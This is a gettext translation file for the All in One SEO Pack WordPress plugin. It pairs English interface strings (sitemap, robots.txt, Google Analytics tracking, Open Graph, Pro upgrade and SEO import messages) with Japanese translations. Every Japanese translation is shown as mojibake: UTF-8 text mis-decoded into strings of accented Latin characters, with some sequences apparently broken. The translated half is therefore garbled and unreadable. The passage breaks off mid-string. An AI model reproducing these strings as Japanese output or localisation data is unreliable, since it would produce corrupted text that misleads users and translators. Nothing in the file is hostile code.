modules/aioseop_robots.php:114 msgid "A physical file exists. This feature cannot be used." msgstr "æ—¢ã«ãƒ•ァイルãŒå­˜åœ¨ã—ã¾ã™ã€‚ã“ã®æ©Ÿèƒ½ã¯ä½¿ç”¨ã§ãã¾ã›ã‚“。" #: modules/aioseop_robots.php:111 msgid "A physical file exists. Do you want to %simport and delete%s it, %sdelete%s it or continue using it?" msgstr "ファイルãŒå­˜åœ¨ã—ã¾ã™ã€‚%sインãƒãƒ¼ãƒˆã—ã¦å‰Šé™¤%sã€%s削除%sã€ã¾ãŸã¯ä½¿ç”¨ã‚’ç¶šã‘ã¾ã™ã‹ ?" #: modules/aioseop_robots.php:68 msgid "Configured Rules" msgstr "設定ã•れãŸãƒ«ãƒ¼ãƒ«" #: modules/aioseop_robots.php:43 msgid "Allow" msgstr "許å¯" #: modules/aioseop_robots.php:41 msgid "Rule" msgstr "ルール" #: modules/aioseop_robots.php:28 msgid "Use the rule builder below to add/delete rules." msgstr "ルールã®è¿½åŠ ãƒ»å‰Šé™¤ã«ä»¥ä¸‹ã®ãƒ«ãƒ¼ãƒ«ãƒ“ルダーを使用ã—ã¾ã™ã€‚" #: modules/aioseop_feature_manager.php:51 msgid "Edit your .htaccess file to fine-tune your site." msgstr ".htaccess ファイルを編集ã—ã¦ã‚µã‚¤ãƒˆã‚’微調整ã—ã¾ã™ã€‚" #. translators: Shows which sitemap files were renamed. #: modules/aioseop_sitemap.php:1248 msgid "Renamed %1$s to %2$s." msgstr "%1$s ã‚’ %2$s ã«ãƒªãƒãƒ¼ãƒ ã—ã¾ã—ãŸã€‚" #: inc/commonstrings.php:65 msgid "URL to the page. This field accepts relative URLs or absolute URLs with the protocol specified." msgstr "ページã¸ã® URL 。相対 URL ã¾ãŸã¯çµ¶å¯¾ URL ã§å…¥åŠ›ã—ã¦ãã ã•ã„。" #: admin/aioseop_module_class.php:1283 msgid "File %s already exists!" msgstr "ファイル %s ã¯ã™ã§ã«å­˜åœ¨ã—ã¾ã™ã€‚" #: admin/aioseop_module_class.php:1275 msgid "Failed to rename file %s!" msgstr "ファイル %s ã®ãƒªãƒãƒ¼ãƒ ã«å¤±æ•—ã—ã¾ã—ãŸ!" #: admin/aioseop_module_class.php:1253 admin/aioseop_module_class.php:1281 msgid "File %s doesn't exist!" msgstr "ファイル %s ã¯å­˜åœ¨ã—ã¾ã›ã‚“!" #: admin/aioseop_module_class.php:1248 msgid "Failed to delete file %s!" msgstr "ファイル %s ã®å‰Šé™¤ã«å¤±æ•—ã—ã¾ã—ãŸã€‚" #: admin/aioseop_module_class.php:1218 msgid "File %s isn't writable!" msgstr "ファイル %s ã¯æ›¸ãè¾¼ã¿ã§ãã¾ã›ã‚“。" #: admin/aioseop_module_class.php:1217 msgid "Failed to write file %s!" msgstr "ファイル %s ã®æ›¸ãè¾¼ã¿ã«å¤±æ•—ã—ã¾ã—ãŸã€‚" #: admin/aioseop_module_class.php:52 msgid "Method %s doesn't exist" msgstr "メソッド %s ã¯ã‚りã¾ã›ã‚“" #: inc/aioseop_functions.php:469 msgid "All values are mandatory." msgstr "ã™ã¹ã¦ã®å€¤ã¯å¿…é ˆã§ã™ã€‚" #: modules/aioseop_sitemap.php:209 msgid "Exclude Images" msgstr "ç”»åƒã‚’除外" #: admin/class-aioseop-helper.php:649 inc/commonstrings.php:59 msgid "Exclude Images in your sitemap." msgstr "サイトマップã§é™¤å¤–ã™ã‚‹ç”»åƒ" #: modules/aioseop_sitemap.php:923 msgid "Your sitemap has been created with content and images." msgstr "サイトマップã¯ã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã¨ç”»åƒã‚‚作られã¦ã„ã¾ã™ã€‚" #: inc/commonstrings.php:38 msgid "Check this if you want to track interactions with the official Facebook and Twitter widgets with Google Analytics." msgstr "Facebook ã‚„ Twitter ã®å…¬å¼ã‚¦ã‚£ã‚¸ã‚§ãƒƒãƒˆã¨ Google アナリティクスã¨ã®ã‚„りã¨ã‚Šã‚’トラッキングã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。" #: inc/commonstrings.php:37 msgid "Check this if you want to track how far down a user scrolls a page with Google Analytics." msgstr "ユーザー㌠Google アナリティクスã§ãƒšãƒ¼ã‚¸ã‚’スクロールã™ã‚‹ã¾ã§ã®è·é›¢ã‚’トラッキングã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„" #: inc/commonstrings.php:39 msgid "Check this if you want to ensure consistency in URL paths reported to Google Analytics." msgstr "Google アナリティクスã«å ±å‘Šã•れ㟠URL パスã®ä¸€è²«æ€§ã‚’確ä¿ã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。" #. translators: The term "viewport" refers to the area of the page that is #. visible to the user, see https://www.w3schools.com/css/css_rwd_viewport.asp. #: inc/commonstrings.php:36 msgid "Check this if you want to track when elements are visible within the viewport with Google Analytics." msgstr "Google アナリティクスã§ãƒ“ューãƒãƒ¼ãƒˆå†…ã®ã‚¨ãƒ¬ãƒ¡ãƒ³ãƒˆãŒã„ã¤è¡¨ç¤ºã•れるã‹ã‚’トラッキングã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。" #. translators: 'This option allows users to track media queries, allowing them #. to find out if users are viewing a responsive layout or not and which layout #. changes have been applied if the browser window has been resized by the #. user, see #. https://github.com/googleanalytics/autotrack/blob/master/docs/plugins/media-query-tracker.md. #: inc/commonstrings.php:34 msgid "Check this if you want to track media query matching and queries with Google Analytics." msgstr "Google アナリティクスã§ã®ãƒ¡ãƒ‡ã‚£ã‚¢ã‚¯ã‚¨ãƒªã®ä¸€è‡´ã¨ã‚¯ã‚¨ãƒªã‚’トラッキングã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。" #: inc/commonstrings.php:32 msgid "Check this if you want to track how long pages are in visible state with Google Analytics." msgstr "Google アナリティクスã§ãƒšãƒ¼ã‚¸ãŒå¯è¦–状態ã«ãªã£ã¦ã„る時間をトラッキングã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。" #: inc/commonstrings.php:31 msgid "Check this if you want to track url changes for single pages with Google Analytics." msgstr "Google アナリティクスã§å˜ä¸€ã®å›ºå®šãƒšãƒ¼ã‚¸ã® URL ã®å¤‰æ›´ã‚’トラッキングã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。" #: inc/commonstrings.php:30 msgid "Check this if you want to track events with Google Analytics." msgstr "Google アナリティクスã§ã‚¤ãƒ™ãƒ³ãƒˆã‚’トラッキングã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。" #: inc/commonstrings.php:29 msgid "Check this if you want to track outbound forms with Google Analytics." msgstr "Google アナリティクスã§é€ä¿¡ãƒ•ォームをトラッキングã™ã‚‹å ´åˆã¯ã€ã“れをãƒã‚§ãƒƒã‚¯ã—ã¦ãã ã•ã„。" #: inc/commonstrings.php:97 msgid "Ensure URL Consistency:" msgstr "URL ã®ä¸€è²«æ€§ã‚’確ä¿:" #: inc/commonstrings.php:96 msgid "Track Facebook and Twitter:" msgstr "Facebook 㨠Twitter を追跡:" #: inc/commonstrings.php:95 msgid "Track Page Scrolling:" msgstr "ページスクロールを追跡:" #: inc/commonstrings.php:94 msgid "Track Elements Visibility:" msgstr "è¦ç´ ã®å¯è¦–性を追跡:" #: inc/commonstrings.php:93 msgid "Track Media Query:" msgstr "メディアクエリーを追跡:" #: inc/commonstrings.php:92 msgid "Track Page Visibility:" msgstr "ページå¯è¦–性を追跡:" #: inc/commonstrings.php:91 msgid "Track Url Changes:" msgstr "URL 変更を追跡:" #: inc/commonstrings.php:90 msgid "Track Events:" msgstr "イベントを追跡:" #: inc/commonstrings.php:89 msgid "Track Outbound Forms:" msgstr "アウトãƒã‚¦ãƒ³ãƒ‰ãƒ•ォームを追跡:" #: admin/class-aioseop-helper.php:827 msgid "Select the Twitter Card type to use for this Page or Post, overriding the default setting." msgstr "ã“ã®ãƒšãƒ¼ã‚¸ã¾ãŸã¯æŠ•稿ã«ä½¿ç”¨ã™ã‚‹ Twitter ã‚«ãƒ¼ãƒ‰ã‚¿ã‚¤ãƒ—ã‚’é¸æŠžã—ã€ãƒ‡ãƒ•ォルト設定を上書ãã—ã¾ã™ã€‚" #. translators: Social Meta refers to Open Graph (OG:) meta tags, which can be #. used to control the appearance of a site's posts/pages when shared on social #. media networks like Facebook and Twitter. #: modules/aioseop_feature_manager.php:41 msgid "Add Social Meta data to your site to deliver closer integration between your website and social media." msgstr "サイトã«ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ¡ã‚¿ãƒ‡ãƒ¼ã‚¿ã‚’追加ã—ã¦ã€ã‚µã‚¤ãƒˆ/ブログã¨ã‚½ãƒ¼ã‚·ãƒ£ãƒ«ãƒ¡ãƒ‡ã‚£ã‚¢ã¨ã®ã‚ˆã‚Šç·Šå¯†ãªçµ±åˆã‚’実ç¾ã—ã¾ã™ã€‚" #. translators: %1$s and %2$s are placeholders, which means that it should not #. be translated. They will be replaced with nouns in the application. #: inc/commonstrings.php:108 msgid "Your license has expired. Please %1$s click here %2$s to purchase a new one." msgstr "ãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã®æœ‰åŠ¹æœŸé™ãŒåˆ‡ã‚Œã¦ã„ã¾ã™ã€‚ æ–°ã—ã„ã‚‚ã®ã‚’購入ã™ã‚‹ã«ã¯%1$sã“ã“をクリック%2$sã—ã¦ãã ã•ã„。" #. translators: leave all the code inside the brackets < and > unchanged. #: inc/commonstrings.php:106 msgid "There is a new version of %1$s available. Go to the plugins page for details." msgstr "%1$s æ–°ã—ã„利用å¯èƒ½ãªãƒãƒ¼ã‚¸ãƒ§ãƒ³ãŒã‚りã¾ã™ã€‚詳細ã¯ãƒ—ラグインページをå‚ç…§ã—ã¦ãã ã•ã„。" #. translators: leave all the code inside the brackets < and > unchanged. #: inc/commonstrings.php:102 msgid "You must enter a valid License Key for it to work." msgstr "実行ã™ã‚‹ã«ã¯æœ‰åйãªãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã‚­ãƒ¼ã®å…¥åŠ›ãŒå¿…è¦ã§ã™ã€‚" #: inc/commonstrings.php:100 msgid "%s is almost ready." msgstr "%s ã¯ã»ã¼æº–å‚™ãŒã§ãã¦ã„ã¾ã™ã€‚" #: aioseop_class.php:611 msgid "NOFOLLOW this page/post" msgstr "NOFOLLOW ã“ã®ãƒšãƒ¼ã‚¸/投稿" #: aioseop_class.php:607 msgid "NOINDEX this page/post" msgstr "NOINDEX ã“ã®ãƒšãƒ¼ã‚¸/投稿" #: admin/aioseop_module_class.php:2340 msgid "Upload Image" msgstr "ç”»åƒã‚’アップロード" #: all_in_one_seo_pack.php:299 msgid "Feature Request/Bug Report" msgstr "æ©Ÿèƒ½è¦æœ›ãƒ»ãƒã‚°å ±å‘Š" #: modules/aioseop_opengraph.php:512 msgid "Enable Facebook Meta for Post Types" msgstr "投稿タイプ㮠Facebook メタを有効ã«ã™ã‚‹" #: modules/aioseop_performance.php:248 msgid "Permalink Setting" msgstr "パーマリンク設定" #: modules/aioseop_performance.php:247 msgid "Search Engine Visibility" msgstr "検索エンジンã§ã®è¡¨ç¤º" #: modules/aioseop_performance.php:246 msgid "Front Page Displays" msgstr "フロントページ表示" #: modules/aioseop_performance.php:245 msgid "Site Language" msgstr "サイトã®è¨€èªž" #: modules/aioseop_performance.php:244 msgid "Site Title" msgstr "サイトã®ã‚¿ã‚¤ãƒˆãƒ«" #: admin/class-aioseop-helper.php:409 msgid "Check this and your Meta Descriptions for any Post Type will be auto-generated using the Post Excerpt, or the first 160 characters of the post content if there is no Post Excerpt. You can overwrite any auto-generated Meta Description by editing the post or page." msgstr "ã“れをãƒã‚§ãƒƒã‚¯ã™ã‚‹ã¨ã€ã‚ãªãŸã®ãƒ¡ã‚¿ã‚¿ã‚¤ãƒ—ã¯æŠ•ç¨¿ã®æŠœç²‹ã‚’ä½¿ã£ã¦è‡ªå‹•çš„ã«ç”Ÿæˆã•れるã‹ã€æŠ•ç¨¿ã®æŠœç²‹ãŒãªã„å ´åˆã¯æŠ•ç¨¿ã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã®æœ€åˆã®160文字ãŒè‡ªå‹•çš„ã«ç”Ÿæˆã•れã¾ã™ã€‚ 投稿ã¾ãŸã¯ãƒšãƒ¼ã‚¸ã‚’編集ã—ã¦ã€è‡ªå‹•生æˆã•れãŸãƒ¡ã‚¿è¨˜è¿°ã‚’上書ãã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚" #. Plugin URI of the plugin #. Author URI of the plugin msgid "https://semperplugins.com/all-in-one-seo-pack-pro-version/" msgstr "https://semperplugins.com/all-in-one-seo-pack-pro-version/" #: modules/aioseop_importer_exporter.php:34 msgid "Post Data" msgstr "投稿データ" #: aioseop_class.php:213 msgid "Nothing found for %request_words%" msgstr "%request_words% ã«ä½•も見ã¤ã‹ã‚Šã¾ã›ã‚“" #: admin/display/general-metaboxes.php:192 msgid "Access to Knowledge Center" msgstr "ナレッジセンターã¸ã‚¢ã‚¯ã‚»ã‚¹" #: admin/display/general-metaboxes.php:191 msgid "Access to Premium Support Forums" msgstr "プレミアムサãƒãƒ¼ãƒˆãƒ•ォーラムã¸ã‚¢ã‚¯ã‚»ã‚¹" #: admin/display/general-metaboxes.php:190 msgid "Access to Video Screencasts" msgstr "ビデオスクリーンキャストã¸ã‚¢ã‚¯ã‚»ã‚¹" #: admin/display/general-metaboxes.php:189 msgid "SEO for Categories, Tags and Custom Taxonomies" msgstr "カテゴリーã€ã‚¿ã‚°ã€ã‚«ã‚¹ã‚¿ãƒ åˆ†é¡žã® SEO" #: admin/display/general-metaboxes.php:188 msgid "Video SEO Module" msgstr "ビデオ SEO モジュール" #: admin/display/general-metaboxes.php:185 msgid "Advanced support for e-commerce" msgstr "e-commerce å‘ã‘ã®é«˜åº¦ãªã‚µãƒãƒ¼ãƒˆ" #: admin/display/general-metaboxes.php:183 msgid "Advanced support for WooCommerce" msgstr "WooCommerce å‘ã‘ã®é«˜åº¦ãªã‚µãƒãƒ¼ãƒˆ" #: admin/display/general-metaboxes.php:128 #: admin/display/general-metaboxes.php:129 msgid "Subscribe" msgstr "登録" #: admin/display/general-metaboxes.php:127 msgid "Email Address" msgstr "メールアドレス" #. translators: after this string comes a list of exclusive features that are #. not included in the free version of the plugin #: admin/display/general-metaboxes.php:47 msgid "to upgrade to Pro Version and get:" msgstr "Pro ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã«ã‚¢ãƒƒãƒ—グレードã—ã¦ã€ä»¥ä¸‹ã‚’手ã«å…¥ã‚Œã‚‹:" #: modules/aioseop_opengraph.php:360 msgid "Use Content For Autogenerated OG Descriptions" msgstr "è‡ªå‹•ç”Ÿæˆ Open Graph èª¬æ˜Žæ–‡ã«æœ¬æ–‡ã‚’使用" #: admin/class-aioseop-helper.php:811 msgid "This option will auto generate your Open Graph descriptions from your post content instead of your post excerpt. WooCommerce users should read the documentation regarding this setting." msgstr "ã“ã®ã‚ªãƒ—ã‚·ãƒ§ãƒ³ã¯æŠ•ç¨¿ã®æŠœç²‹ã§ã¯ãªã本文ã‹ã‚‰ Open Graph ã®èª¬æ˜Žæ–‡ã‚’自動生æˆã—ã¾ã™ã€‚WooCommerce ãƒ¦ãƒ¼ã‚¶ãƒ¼ã®æ–¹ã¯ã“ã®è¨­å®šã«ã¤ã„ã¦ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒ†ãƒ¼ã‚·ãƒ§ãƒ³ã‚’ãŠèª­ã¿ãã ã•ã„。" #: admin/class-aioseop-helper.php:792 msgid "Enter your Facebook Admin ID here. You can enter multiple IDs separated by a comma. You can look up your Facebook ID using this tool http://findmyfbid.com/" msgstr "Facebook 管ç†è€… ID ã‚’ã“ã“ã«å…¥åŠ›ã—ã¦ãã ã•ã„。åŠè§’カンマã§åŒºåˆ‡ã£ãŸè¤‡æ•°ã® ID を入力ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ã“ã®ãƒ„ールを使ã£ã¦ Facebook ID を調ã¹ã‚‰ã‚Œã¾ã™: http://findmyfbid.com/" #: aioseop_class.php:462 msgid "Use Content For Autogenerated Descriptions:" msgstr "自動生æˆèª¬æ˜Žæ–‡ã«æœ¬æ–‡ã‚’使用:" #: admin/class-aioseop-helper.php:410 msgid "This option will auto generate your meta descriptions from your post content instead of your post excerpt. This is useful if you want to use your content for your autogenerated meta descriptions instead of the excerpt. WooCommerce users should read the documentation regarding this setting." msgstr "ã“ã®ã‚ªãƒ—ã‚·ãƒ§ãƒ³ã¯æŠ•ç¨¿ã®æŠœç²‹ã§ã¯ãªã本文ã‹ã‚‰ãƒ¡ã‚¿ãƒ‡ã‚£ã‚¹ã‚¯ãƒªãƒ—ションを自動生æˆã—ã¾ã™ã€‚WooCommerce ãƒ¦ãƒ¼ã‚¶ãƒ¼ã®æ–¹ã¯ã“ã®è¨­å®šã«ã¤ã„ã¦ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒ†ãƒ¼ã‚·ãƒ§ãƒ³ã‚’ãŠèª­ã¿ãã ã•ã„。" #: admin/display/welcome-content.php:94 msgid "Access to video tutorials about SEO with the Pro version" msgstr "プロ版ã«ã‚¢ãƒƒãƒ—グレードã—㦠SEO ã«ã¤ã„ã¦ã®ãƒãƒ¥ãƒ¼ãƒˆãƒªã‚¢ãƒ«å‹•ç”»ã¸ã«ã‚¢ã‚¯ã‚»ã‚¹" #: admin/aioseop_module_class.php:2743 msgid "Reset %s Settings to Defaults" msgstr "%s ã®è¨­å®šã‚’デフォルトã«ãƒªã‚»ãƒƒãƒˆ" #: admin/class-aioseop-helper.php:119 msgid "This option will automatically generate Canonical URLs for your entire WordPress installation. This will help to prevent duplicate content penalties by Google." msgstr "ã“ã®ã‚ªãƒ—ションã§ã¯è‡ªå‹•çš„ã«ã‚ãªãŸã®å…¨ä½“ã® WordPress ã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã®ãŸã‚ã® Canonical URL を生æˆã—ã¾ã™ã€‚ã“れã¯ã€Google ã«ã‚ˆã‚‹é‡è¤‡ã‚³ãƒ³ãƒ†ãƒ³ãƒ„ã®ãƒšãƒŠãƒ«ãƒ†ã‚£ã‚’防ãã®ã«å½¹ç«‹ã¡ã¾ã™ã€‚" #: admin/display/general-metaboxes.php:45 msgid "CLICK HERE" msgstr "ã“ã“をクリック" #. translators: Shows which files were removed. #: modules/aioseop_sitemap.php:1358 msgid "Removed empty file %s." msgstr "削除ã•れãŸç©ºã®ãƒ•ァイル %s。 " #: inc/commonstrings.php:24 msgid "This displays an SEO News widget on the dashboard." msgstr "SEO 最新情報ã®ã‚¦ã‚£ã‚¸ã‚§ãƒƒãƒˆã‚’ダッシュボードã«è¡¨ç¤ºã™ã‚‹ã€‚" #: inc/commonstrings.php:86 msgid "Show SEO News" msgstr "SEO ã®æœ€æ–°æƒ…報を表示" #: modules/aioseop_sitemap.php:932 msgid "Changes are automatically submitted to search engines." msgstr "変更ã¯è‡ªå‹•çš„ã«æ¤œç´¢ã‚¨ãƒ³ã‚¸ãƒ³ã«æå‡ºã•れã¾ã™ã€‚" #. translators: Link to documentation. #: modules/aioseop_sitemap.php:922 msgid "Click here to %s." msgstr "ã“ã“をクリックã—㦠%s 。" #: admin/display/welcome-content.php:105 msgid "Continue to the General Settings" msgstr "一般設定を続ã‘ã‚‹" #: admin/display/dashboard_widget.php:27 msgid "SEO News" msgstr "SEO 最新情報" #: admin/display/welcome.php:139 msgid "Credits" msgstr "クレジット" #: admin/display/welcome.php:135 msgid "What’s New" msgstr "æ–°ç€æƒ…å ±" #. translators: %1$s and %2$s are placeholders, which means that these should #. not be translated. These will be replaced with the name of the plugin, All #. in One SEO Pack, and the current version number. #: admin/display/welcome.php:128 msgid "%1$s %2$s contains new features, bug fixes, increased security, and tons of under the hood performance improvements." msgstr "%1$s %2$s ã¯æ–°æ©Ÿèƒ½ãŒã‚りã¾ã™ã€‚ã¾ãŸã€ãƒã‚°ä¿®æ­£ã€ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£ãƒ¼å¼·åŒ–やパフォーマンスå‘ä¸Šã®æ–½ç­–ã‚’ã—ã¦ã„ã¾ã™ã€‚" #: admin/display/welcome-content.php:98 msgid "Control SEO on categories, tags and custom taxonomies with the Pro version" msgstr "カテゴリーã€ã‚¿ã‚°ã€ã‚«ã‚¹ã‚¿ãƒ ã‚¿ã‚¯ã‚½ãƒŽãƒŸãƒ¼ã‚’ Pro ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ã¯ç®¡ç†ã§ãã¾ã™ã€‚" #: admin/display/welcome-content.php:89 msgid "We have complete documentation on every setting and feature" msgstr "ã™ã¹ã¦ã®è¨­å®šã¨æ©Ÿèƒ½ã«å®Œå…¨ãªãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆãŒã‚りã¾ã™ã€‚" #: admin/display/welcome-content.php:85 msgid "Did You Know?" msgstr "ã”存知ã§ã—ãŸã‹ ?" #: admin/display/welcome-content.php:79 msgid "Set up Google Analytics" msgstr "Google Analytics ã®è¨­å®š" #: admin/display/welcome-content.php:75 msgid "Submit an XML Sitemap to Google" msgstr "XML サイトマップを Google ã«é€ä¿¡ã™ã‚‹" #: admin/display/welcome-content.php:71 msgid "Quality guidelines for SEO titles and descriptions" msgstr "SEOå‘ã‘タイトルã¨è©³ç´°ã®å“質ガイドライン" #: admin/display/welcome-content.php:66 msgid "Tips for good on-page SEO" msgstr "SEO 対策ã¨ãªã‚‹ãƒ’ント" #: admin/display/welcome-content.php:62 msgid "Beginners Guide for Social Meta module" msgstr "ソーシャルメディアモジュールã®åˆå¿ƒè€…å‘ã‘ガイド" #: admin/display/welcome-content.php:58 msgid "Beginners Guide for XML Sitemap module" msgstr "XML サイトマップモジュールã®åˆå¿ƒè€…å‘ã‘ガイド" #: admin/display/welcome-content.php:44 msgid "Get Started" msgstr "å§‹ã‚ã¦ã¿ã‚ˆã†" #: admin/display/welcome-content.php:40 msgid "Translate" msgstr "翻訳" #: admin/display/welcome-content.php:29 #: admin/display/notices/wc-detected-notice.php:30 msgid "Upgrade" msgstr "アップグレード" #: admin/display/credits-content.php:116 msgid "Translation contributors and translation editors" msgstr "翻訳貢献者ã¨ç·¨é›†è€…" #: admin/display/credits-content.php:53 msgid "Want to see your name and picture here as a community developer? %1$sClick here%2$s to open an issue on GitHub to report a bug, request a feature or find an issue and submit code!" msgstr "コミュニティー開発者ã¨ã—ã¦ã“ã“ã«è‡ªåˆ†ã®åå‰ã‚’載ã›ã¦ã¿ãŸã„ã¨ã„ã†æ–¹ã¯ã€%1$sã“ã“をクリック%2$sã—㦠GitHub ã§ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’é–‹ã„ã¦ãƒã‚°ã‚’報告ã—ãŸã‚Šã€æ–°æ©Ÿèƒ½ã‚’ææ¡ˆã—ãŸã‚Šã€å•題を見ã¤ã‘ã¦ã‚³ãƒ¼ãƒ‰ã‚’é€ã£ã¦ãã ã•ã„。" #: admin/display/credits-content.php:47 msgid "Recent Rockstar Contributors" msgstr "最近ã®ç´ æ™´ã‚‰ã—ã„貢献者" #: admin/display/credits-content.php:37 admin/display/credits-content.php:42 msgid "Development Team" msgstr "開発ãƒãƒ¼ãƒ " #: admin/display/credits-content.php:26 msgid "Core Team" msgstr "コアãƒãƒ¼ãƒ " #: admin/display/credits-content.php:17 admin/display/credits-content.php:22 msgid "Project Manager" msgstr "プロジェクトマãƒãƒ¼ã‚¸ãƒ£ãƒ¼" #: admin/display/credits-content.php:12 msgid "Project Lead" msgstr "プロジェクトを導ã" #: admin/display/credits-content.php:7 msgid "Project Leaders" msgstr "プロジェクトリーダー" #: modules/aioseop_opengraph.php:490 msgid "Custom Twitter Image" msgstr "カスタムTwitterç”»åƒ" #: admin/class-aioseop-helper.php:828 msgid "This option lets you upload an image to use as the Twitter image for this Page or Post." msgstr "ã“ã®å›ºå®šãƒšãƒ¼ã‚¸ã‚‚ã—ãã¯æŠ•ç¨¿ã§ä½¿ç”¨ã™ã‚‹Twitterç”»åƒã‚’アップロードã—ã¾ã™ã€‚" #: aioseop_class.php:488 msgid "Redirect Attachments to Post Parent:" msgstr "添付ファイルを親投稿ã¸ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆ:" #: admin/class-aioseop-helper.php:415 msgid "Redirect attachment pages to post parent." msgstr "親を投稿ã™ã‚‹æ·»ä»˜ãƒ•ァイルã®ãƒšãƒ¼ã‚¸ã‚’リダイレクトã—ã¾ã™ã€‚" #: admin/class-aioseop-helper.php:651 inc/commonstrings.php:62 msgid "Dynamically creates the XML sitemap instead of using a static file." msgstr "é™çš„ファイルを使用ã›ãšã«ã€å‹•的㫠XML サイトマップを作りã¾ã™ã€‚" #: modules/aioseop_importer_exporter.php:545 msgid "Security warning: Your file looks compromised. Please check the file for any script-injection." msgstr "セキュリティ警告: ãƒ•ã‚¡ã‚¤ãƒ«ãŒæå‚·ã•れãŸã‚ˆã†ã«è¦‹ãˆã¾ã™ã€‚ä»»æ„ã®ã‚¹ã‚¯ãƒªãƒ—トインジェクションã®ãŸã‚ã®ãƒ•ァイルを確èªã—ã¦ãã ã•ã„。" #: admin/display/general-metaboxes.php:93 msgid "%1$s has been translated into %2$s languages, but currently the %3$s translation is only %4$s percent complete. %5$sClick here%6$s to help get it to 100 percent." msgstr "%1$s ã¯%2$s言語ã§ç¿»è¨³ã•れã¦ã„ã¾ã™ãŒã€ç¾åœ¨ %3$s ã®ç¿»è¨³çŽ‡ã¯ %4$s%ã§ã™ã€‚%5$sã“ã“をクリック%6$sã—ã¦100%ã«ãªã‚‹ã‚ˆã†ã”å”力ãã ã•ã„。" #: admin/meta_import.php:83 admin/meta_import.php:89 msgid "Sorry, you can't do that. Please choose a platform and then click Analyze or Convert." msgstr "申ã—訳ã‚りã¾ã›ã‚“ã€ãã®æ“作ã¯å‡ºæ¥ã¾ã›ã‚“ã€‚ãƒ—ãƒ©ãƒƒãƒˆãƒ•ã‚©ãƒ¼ãƒ ã‚’é¸æŠžã—ã€åˆ†æžã‹å¤‰æ›ã‚’クリックã—ã¦ãã ã•ã„。" #: admin/meta_import.php:208 msgid "Convert" msgstr "変æ›" #: admin/meta_import.php:206 msgid "Analyze" msgstr "分æž" #: admin/meta_import.php:195 msgid "Themes" msgstr "テーマ" #: admin/meta_import.php:187 msgid "Plugins" msgstr "プラグイン" #: admin/meta_import.php:185 msgid "Choose platform:" msgstr "ãƒ—ãƒ©ãƒƒãƒˆãƒ•ã‚©ãƒ¼ãƒ ã‚’é¸æŠž:" #: admin/meta_import.php:183 msgid "Import SEO data from:" msgstr "SEO データを以下ã‹ã‚‰ã‚¤ãƒ³ãƒãƒ¼ãƒˆ:" #: admin/meta_import.php:173 msgid "Before performing an import, we strongly recommend that you make a backup of your site. We use and recommend %1$s BackupBuddy %2$s for backups." msgstr "インãƒãƒ¼ãƒˆã‚’実行ã™ã‚‹å‰ã«ã€å¼·ãサイトã®ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—を作æˆã™ã‚‹ã“ã¨ã‚’ãŠå‹§ã‚ã—ã¾ã™ã€‚ãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—用㮠%1$s BackupBuddy %2$s ã‚’ãŠå‹§ã‚ã—ã¾ã™ã€‚" #: admin/meta_import.php:169 msgid "Click \"Convert\" to perform the import. After the import has completed, you will be alerted to how many records were imported, and how many records had to be ignored, based on the criteria above." msgstr "インãƒãƒ¼ãƒˆã‚’実行ã™ã‚‹ãŸã‚ã«\"変æ›\"をクリックã—ã¦ãã ã•ã„。インãƒãƒ¼ãƒˆãŒå®Œäº†ã—ãŸå¾Œã€ã‚ãªãŸã¯å¤šãã®ãƒ¬ã‚³ãƒ¼ãƒ‰ãŒã‚¤ãƒ³ãƒãƒ¼ãƒˆã•れãŸã‹ã‚’ã€ã¾ãŸç„¡è¦–ã•れãªã‘れã°ãªã‚‰ãªã‹ã£ãŸå¤šãã®ãƒ¬ã‚³ãƒ¼ãƒ‰ã«ã¤ã„ã¦åŸºæº–ã«åŸºã¥ã„ã¦è­¦å‘Šã‚’出ã—ã¾ã™ã€‚" #. translators: %s is a placeholder, which means that it should not be #. translated. It will be replaced with the name of the plugin, All in One SEO #. Pack. #: admin/meta_import.php:163 msgid "Some plugins and themes do not share similar data, or they store data in a non-standard way. If we cannot import this data, it will remain unchanged in your database. Any compatible SEO data will be displayed for you to review. If a post or page already has SEO data in %s, we will not import data from another plugin/theme." msgstr "ã„ãã¤ã‹ã®ãƒ—ラグインやテーマã¯ã€åŒæ§˜ã®ãƒ‡ãƒ¼ã‚¿ã‚’共有ã—ãªã„ãŸã‚ã€éžæ¨™æº–çš„ãªæ–¹æ³•ã§ãƒ‡ãƒ¼ã‚¿ã‚’æ ¼ç´ã—ã¾ã™ã€‚ã“ã®ãƒ‡ãƒ¼ã‚¿ã‚’インãƒãƒ¼ãƒˆã™ã‚‹ã“ã¨ãŒã§ããªã„å 